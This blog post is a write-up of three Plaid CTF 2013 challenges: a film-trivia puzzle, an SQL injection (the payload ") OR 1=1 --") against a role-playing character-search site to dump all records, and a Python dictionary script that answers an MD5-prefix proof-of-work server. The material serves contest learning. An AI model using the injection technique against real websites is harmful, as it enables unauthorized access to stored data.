読者です 読者をやめる 読者になる 読者になる

Plaid CTF 2013 write-up

Last weekend, I challanged Plaid CTF 2013, the popular Capturing the Flag contest, as a team member. The contest was hard but pretty good! I feel it was pity that I couldn't solve any tasks about crypto...

I'd like to post the write-up for some tasks I solved.

Unnnnlucky [misc 20]

Where does The Plague hide his money?

I knew the film "Hackers" is quoted in many CTFs and "The Plague" is the character of this film. So I googled the script of the film and found:

CEREAL (continuing)

What's this? Is this the unnamed account in the Bahamas where the money was to be stashed? I think so!

An account number scrolls below Cereal's chin.

Our team member checked the movie and got the flag.

charsheet [web 150]

My friend is in my D&D campaign - could you get me his character name? He administrates this site.

Or here (faster).

(underline means a link anchor)

The website is constructed by using RPGWebProfiler. And I figured out that "Character Search" input box can do SQL injection. I tried putting ' (single quote) in the input box then got the error message below:

Failed to query database: SELECT c.id, c.cname, DATE_FORMAT(c.lastedited, '%d %M %Y @ %H:%i') as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = 'y' AND c.template_id = st.id AND UPPER(c.cname) LIKE UPPER(''%') ORDER BY UPPER(c.cname), UPPER(c.cname) LIMIT 15

This error occurred at line 75 of file /var/www/search.php.

Next, I put the injection code ') OR 1=1 -- expecting the server execute a SQL below:

SELECT c.id, c.cname, DATE_FORMAT(c.lastedited, '%d %M %Y @ %H:%i') as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = 'y' AND c.template_id = st.id AND UPPER(c.cname) LIKE UPPER('') OR 1=1 -- %') ORDER BY UPPER(c.cname), UPPER(c.cname) LIMIT 15

Actually it worked as expected and all character names and their owners was shown. The flag was the character name which owner is "admin".

Prove It [misc 150]

We've been reading about bitcoins -- XXX.XXX.XXX.XXX:9001

Hint: The answer isn't brute forcing.

Source

(I masked the IP address, and the source code was not given when I solved)

I connected to the server using telnet and the server said:

$ telnet XXX.XXX.XXX.XXX 9001
Trying XXX.XXX.XXX.XXX...
Connected to XXX.XXX.XXX.XXX.
Escape character is '^]'.
Free Key Distribution Service
Welcome! I am more than happy to give you a key, but you must first prove you did some work!

MD5 Prefix: 024b8830ff5df
Enter string: (input some characters and hit the return)
 Wrong! :\
Connection closed by foreign host.

Ok, we need to answer the string of which md5 hash has given prefix.

After some hours, I saw the hint and came up to a dictionary attack using /usr/share/dict/words. Then I wrote the code:

import sys
import socket
import hashlib
import re

def prove_it(host, port, dict_file):
    prefix_dict = {}
    f = open(dict_file)
    for line in f:
        word = line.strip()
        md5hash = hashlib.md5(word).hexdigest()
        prefix_dict[md5hash[:13]] = word
    f.close()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    while True:
        data = s.recv(4096)
        print data
        if not data:
            break
        m = re.search(r'MD5 Prefix: (\S+)', data)
        if m:
            prefix = m.group(1)
            s.send('%s\n' % prefix_dict[prefix])
    s.close()

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print >>sys.stderr, "Usage: python %s DICT_FILE" % sys.argv[0]
        sys.exit(1)
    prove_it('XXX.XXX.XXX.XXX', 9001, sys.argv[1])

Actually we have to answer for 20 times consequently, my first try was failed in later trial. But I tried some times then passed 20 times and got the flag.

some write-up links